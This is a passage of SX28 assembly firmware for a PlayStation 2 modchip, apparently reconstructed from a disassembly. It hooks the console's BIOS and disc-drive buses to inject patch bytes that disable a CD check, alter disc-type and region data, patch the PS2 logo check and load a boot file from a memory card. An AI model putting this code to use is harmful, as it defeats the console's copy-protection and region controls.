w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 ;; call bios wait oe worked here seemed nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp Label_0039 ;;todo weird jump Label_0039 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp Label_0039 ;;todo weird jump Label_0039 ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 COMPLETELY DIFFERENT ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- NOTCALLED4 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;;todo ;-------------------------------------------------------------------------------- NOTCALLED6 jmp pc+w retw $8 retw $10 retw $3c retw $72 retw $0 Label_0189 retw $11 retw $36 retw $0 retw $0 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $4 Label_0190 retw $3c retw $f0 retw $1 retw $84 retw $34 retw $10 retw $0 Label_0191 retw $6 retw $3c retw $e4 Label_0192 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $fb retw $1 retw $10 retw $0 retw $b retw $2 retw $10 retw $0 retw $19 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f PS2LOGO_PATCH_11_17_JMP1 retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 Label_0194 retw $3a retw $2f Label_0195 retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 Label_0196 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$77 mov VAR_DC1,w clr w mov VAR_DC3,w PS2LOGO_PATCH_19_20_JMP2 mov w,#$20 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 Label_0198 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 Label_0029 page $0000 call SET_INTRPT Label_0053 mov w,#$64 mov VAR_DC4,w Label_0036 mov w,#$ff mov VAR_DC3,w Label_0035 mov w,#$ff mov VAR_DC2,w Label_0034 mov w,#$ff mov VAR_DC1,w Label_0032 sb IO_BIOS_CS jmp Label_0030 decsz VAR_DC1 jmp Label_0032 decsz VAR_DC2 jmp Label_0034 decsz VAR_DC3 jmp Label_0035 decsz VAR_DC4 jmp Label_0036 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP Label_0031 snb IO_BIOS_CS jmp Label_0032 Label_0030 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp Label_0031 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp Label_0053 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- NOTCALLED5 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 call BIOS_WAIT_OE_LO_P6 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp Label_0189 snb IO_BIOS_OE jmp Label_0190 ;; weird jmp Label_0190 ;psx1drv_l0a ;PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp Label_0190 ;PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp Label_0191 mov !IO_BIOS_DATA,w snb IO_BIOS_OE jmp Label_0192 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp BIOS_PATCH_DEV1 ;; different jmp, likely due to page and patch routine to call ?? ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0194 snb IO_BIOS_OE jmp Label_0195 decsz VAR_DC3 jmp Label_0194 mov w,#$0 mov IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0196 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w sb IO_BIOS_OE jmp PS2LOGO_PATCH_19_20_JMP2 snb IO_BIOS_OE jmp DEV1_MODE_LOAD_LOOP decsz VAR_DC4 jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$88 mov IO_BIOS_DATA,w sb IO_BIOS_OE jmp Label_0198 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo ?? page4 sx28 ;; weird broken oe wait snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 ;v12 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$49 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#$44 mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;; ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 ;; retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 ;; mov w,#$6b mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;; retw $af retw $5 retw $4 retw $8 ;;V14DRV ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#$72 mov VAR_DC1,w mov VAR_DC2,w clr w mov VAR_DC3,w mov w,#$20 mov fsr,w ;;PS2_PS2LOGO ;;PS2_PS2LOGO:loopa ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT ;; clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb V12_FLAG jmp PS1_MODE_START ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V10_FLAG jmp Label_0183 mov w,#$1e mov VAR_PSX_TEMP,w Label_0183 ;; mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37 mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w 